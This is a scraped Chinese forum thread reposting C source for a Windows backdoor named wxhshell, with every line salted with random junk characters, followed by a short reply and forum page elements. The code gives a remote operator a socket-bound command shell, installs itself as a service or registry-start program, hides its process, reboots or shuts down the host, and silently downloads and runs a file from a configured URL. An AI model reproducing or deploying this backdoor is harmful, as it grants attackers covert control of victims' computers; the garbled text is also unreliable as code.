  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Vvo 7C!$z  
  if(DownloadFile(cmd,wsh)) dr"1s-D4IQ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); i#O SC5ZI  
  else VEH>]-0K  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kxCSs7J/  
  } JGZBL{8  
  else { @6]JIJE  
4Tc~b3\!Y  
    switch(cmd[0]) { "  1tH  
  jWgX_//!  
  // 帮助 A}w/OA97RO  
  case '?': { }B^tL$k  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8CE = 4  
    break; $Kd>:f=A  
  } 3U}%2ARo_  
  // 安装 wM{s|Ay  
  case 'i': { 8,|kao:  
    if(Install()) d_ CT $  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T4F/w|Q  
    else d=^z`nt !R  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /V By^L:  
    break; cb bFw  
    } !~Z"9(v'C  
  // 卸载 U!]dEW|G  
  case 'r': { ZC8wA;!z^  
    if(Uninstall()) Zd&S@Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `_h&glMJ,q  
    else 8k79&|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 31)&vf[[  
    break; QL*IiFR  
    } 9 $X-  
  // 显示 wxhshell 所在路径 2SLU:=<3  
  case 'p': { s^SJY{  
    char svExeFile[MAX_PATH]; \NC3'G:Ii  
    strcpy(svExeFile,"\n\r"); Ca\6vR  
      strcat(svExeFile,ExeFile); V.Mry`9-  
        send(wsh,svExeFile,strlen(svExeFile),0); >d6|^h'0  
    break; +[P{&\d4}  
    } @ P|y{e6  
  // 重启 2pAW9R#UV-  
  case 'b': { iQ{VY ^ 0  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); NVs@S-rpX  
    if(Boot(REBOOT)) SAz   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hOeRd#AQK  
    else { H.0K?N&\?>  
    closesocket(wsh); $8FUfJ1@  
    ExitThread(0); gFh*eCo   
    } E.f%H(b  
    break; oU/5 a>9~  
    } ;Xw~D_uv  
  // 关机 s@C}P  
  case 'd': { H>C=zo,oiC  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ctUp=po  
    if(Boot(SHUTDOWN)) j<x_&1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z ]ONh  
    else { ;PH~<T  
    closesocket(wsh); 0aAoV0fMDz  
    ExitThread(0); v2?ZQeHr_(  
    } UI#h&j5pW  
    break; F5Va+z,jg  
    } b]y2+A.n  
  // 获取shell  )*[3Vq  
  case 's': { M_8{]uo  
    CmdShell(wsh); .u:GjL'$  
    closesocket(wsh); 7 3m1  
    ExitThread(0); :%.D78&  
    break; }'.m*#Y  
  } nR~(0G,H  
  // 退出 #S(Hd?34,  
  case 'x': { =}*0-\QG  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6 r"<jh#  
    CloseIt(wsh); OCUr{Nh  
    break; vbNBLCwug  
    } JO;Uus{?  
  // 离开 TN.rrop`#g  
  case 'q': { 2?5>o!C  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); N0lC0 N?_J  
    closesocket(wsh); !?XC1xe~R  
    WSACleanup(); R8 T x[CJ5  
    exit(1); `g,..Ns-r  
    break; [~ fraK,)  
        } RpK@?[4s  
  } Q@niNDaW2  
  } OPi0~s  
8QK&_n*  
  // 提示信息 ?`#Khff?  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Kgv T"s.  
} GmG 5[?)  
  } Nl/dX-I  
a}d@ T  
  return; XkqCZHYkS  
} GeqPRah  
!W\+#ez  
// shell模块句柄 DqPw#<"H  
int CmdShell(SOCKET sock) =vPj%oLp'a  
{ : +u]S2u{  
STARTUPINFO si; Fs{*XKv&lH  
ZeroMemory(&si,sizeof(si)); B[}6-2<>?C  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; pw#-_  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; b'g )  
PROCESS_INFORMATION ProcessInfo; O2+6st  
char cmdline[]="cmd"; 83m3OD_y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); s*4dxnS_8  
  return 0; B:<VA=  
} )_:NLo:  
Fcx&hj1gQ  
// 自身启动模式 t7pFW^&  
int StartFromService(void) 8(De^H lO  
{ gr{ DWCK  
typedef struct b$7 +;I;  
{ DH=hH&[e(d  
  DWORD ExitStatus; Smh,zCc>s  
  DWORD PebBaseAddress; [7-?7mp!B  
  DWORD AffinityMask; sT.ss$HY9,  
  DWORD BasePriority; 2eogY#  
  ULONG UniqueProcessId; k+ /6$pI  
  ULONG InheritedFromUniqueProcessId; yauvXosX  
}   PROCESS_BASIC_INFORMATION; :m;p:l|W  
+_!QSU,@  
PROCNTQSIP NtQueryInformationProcess; _{>vTBU4F  
("@!>|H  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Mt$ *a  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; X2_=agEP  
A,]h),b  
  HANDLE             hProcess; LeQjvW9y  
  PROCESS_BASIC_INFORMATION pbi; / FII07V  
gUlo]!$  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &m3lXl  
  if(NULL == hInst ) return 0; do_[&  
VVZ'i.*_3?  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Xvv6~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .`lCWeHN  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); H}!r|nG  
'91/md5  
  if (!NtQueryInformationProcess) return 0; 3]>|  i  
Z;i:](  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \zY!qpX<  
  if(!hProcess) return 0; dM5-;  
b 6p|q_e  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Hz~zu{;{J  
0@(&eH=  
  CloseHandle(hProcess); .H|-_~Yx|  
ixFi{_  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); hM{bavd  
if(hProcess==NULL) return 0; ]lbuy7xj63  
x Ar\gu  
HMODULE hMod; 3Ul*QN{6  
char procName[255];  \zkg  
unsigned long cbNeeded; ^ y::jK  
8Wx=p#_  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); zdYjF|  
$X6h|?3U,  
  CloseHandle(hProcess); %A`+WYeuX  
paK2 xX8E  
if(strstr(procName,"services")) return 1; // 以服务启动 *VcJ= b 2Y  
WMdg1J+~  
  return 0; // 注册表启动 _U(  
} XZ7Lk)IR  
p'%s=TGwv  
// 主模块 e= AKD#  
int StartWxhshell(LPSTR lpCmdLine) 8=l%5r^cq  
{ wp_0+$?s  
  SOCKET wsl; WcAkCH!L  
BOOL val=TRUE; SU0 hma8  
  int port=0; v+XJ*N[W  
  struct sockaddr_in door; r; {.%s7  
C_Dn{  
  if(wscfg.ws_autoins) Install(); G[=c Ss,  
l **X^+=$  
port=atoi(lpCmdLine); se)TzI^]b@  
w{KavU5W  
if(port<=0) port=wscfg.ws_port; D~m*!w*  
lN@o2QX  
  WSADATA data; vN:Ng  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `3pW]&  
vaLSH xi  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   jp,4h4C^)  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); R_C)  
  door.sin_family = AF_INET; j%kncGS  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 6m93puY`7  
  door.sin_port = htons(port);  ];m_4  
Vr}'.\$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { COlqcq'qAu  
closesocket(wsl); 7#XzrT]  
return 1; qX%_uOw:%  
} X'srL j.  
4s- !7  
  if(listen(wsl,2) == INVALID_SOCKET) { ye&;(30Oq  
closesocket(wsl); }vuO$j  
return 1; .#gzP2 [q  
} M3\AY30L  
  Wxhshell(wsl); HJ"GnZp<  
  WSACleanup(); `yyG/l  
Y2AJ+ |  
return 0; L!92P{K  
K- v#.e4  
} j#|ZP-=1_  
X ?O[r3<  
// 以NT服务方式启动 H_a[)DT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) WWY6ha  
{ 7Q 3k 7  
DWORD   status = 0; ?<!|  
  DWORD   specificError = 0xfffffff; ch]IzdD  
M`_0C38  
  serviceStatus.dwServiceType     = SERVICE_WIN32; :#Wd~~d  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; C|bET  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _BufO7 `.  
  serviceStatus.dwWin32ExitCode     = 0; MgZ/(X E  
  serviceStatus.dwServiceSpecificExitCode = 0; "oyo#-5z  
  serviceStatus.dwCheckPoint       = 0; 9hl_|r~%*  
  serviceStatus.dwWaitHint       = 0; cAw/I@jG  
pa+hL,w{6  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -"x$ZnHU  
  if (hServiceStatusHandle==0) return; LVy yO3e  
8*X4\3:*N  
status = GetLastError(); ~N4m1s"  
  if (status!=NO_ERROR) W?& %x(6M  
{ WJi]t93  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; PCA4k.,T  
    serviceStatus.dwCheckPoint       = 0; F4QVAOM]U  
    serviceStatus.dwWaitHint       = 0; CpN>p.kM  
    serviceStatus.dwWin32ExitCode     = status; P}iE+Z 3  
    serviceStatus.dwServiceSpecificExitCode = specificError;  7GGUV  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); +@UV?"d  
    return; ?dTD\)%A  
  } 9c],<;{'  
P?<y%c<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; g(g& TO  
  serviceStatus.dwCheckPoint       = 0; /Oono6j  
  serviceStatus.dwWaitHint       = 0; #yen8SskB  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); )oZ dj`  
} 2wn2.\v M  
]:;&1h3'7  
// 处理NT服务事件,比如:启动、停止 K3C<{#r  
VOID WINAPI NTServiceHandler(DWORD fdwControl) b>k y  
{ -j(6;9"7]|  
switch(fdwControl) nN;u,}e  
{ }]Tx lSp!;  
case SERVICE_CONTROL_STOP: /reX{Y  
  serviceStatus.dwWin32ExitCode = 0; IV-{ve6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; :Tc^y%b0  
  serviceStatus.dwCheckPoint   = 0; 2 c}E(8e]  
  serviceStatus.dwWaitHint     = 0; :gT4K-O j  
  { DIvHvFss  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); J,G lIv.A  
  } GILfbNcd  
  return; 3T 9j@N77  
case SERVICE_CONTROL_PAUSE: !k%#R4*>  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [lAp62i5  
  break; Cw%{G'O   
case SERVICE_CONTROL_CONTINUE: $( )>g>%  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; neh(<>  
  break; tkhCw/  
case SERVICE_CONTROL_INTERROGATE: o  K@"f9  
  break; l0] EX>"E  
}; iE{&*.q_}>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B *vM0  
} |%wX*zaf  
f?b"iA(6  
// 标准应用程序主函数 ,[Fb[#Qqb  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) u>$t'  
{ *VeRVaBl  
/=h` L ,  
// 获取操作系统版本 Fi1@MG5$2  
OsIsNt=GetOsVer(); tDo"K3   
GetModuleFileName(NULL,ExeFile,MAX_PATH); '|4!5)/K  
*H122njH+T  
  // 从命令行安装 } %z   
  if(strpbrk(lpCmdLine,"iI")) Install(); /bEAK-  
cAy3^{3:  
  // 下载执行文件 p7Cs.2>M>S  
if(wscfg.ws_downexe) { q=G+Tocv  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9cgU T@a  
  WinExec(wscfg.ws_filenam,SW_HIDE); ca}2TT&t  
} OTp]Xe/  
R4@6G&2d>  
if(!OsIsNt) { KgG4*<  
// 如果时win9x,隐藏进程并且设置为注册表启动 IAEAhqp  
HideProc(); [2koe.?(  
StartWxhshell(lpCmdLine); *dF>_F  
} mt`.6Xz~  
else BD-AI  
  if(StartFromService()) 6Iw\c  
  // 以服务方式启动 e*!kZAf  
  StartServiceCtrlDispatcher(DispatchTable); m3ff;,  
else _w Ot39e&  
  // 普通方式启动 E e]-qN*8  
  StartWxhshell(lpCmdLine); q9NoI(]e  
)jC%a6G!  
return 0; 2[CdZ(k]5  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
10+5=?,请输入中文答案:十五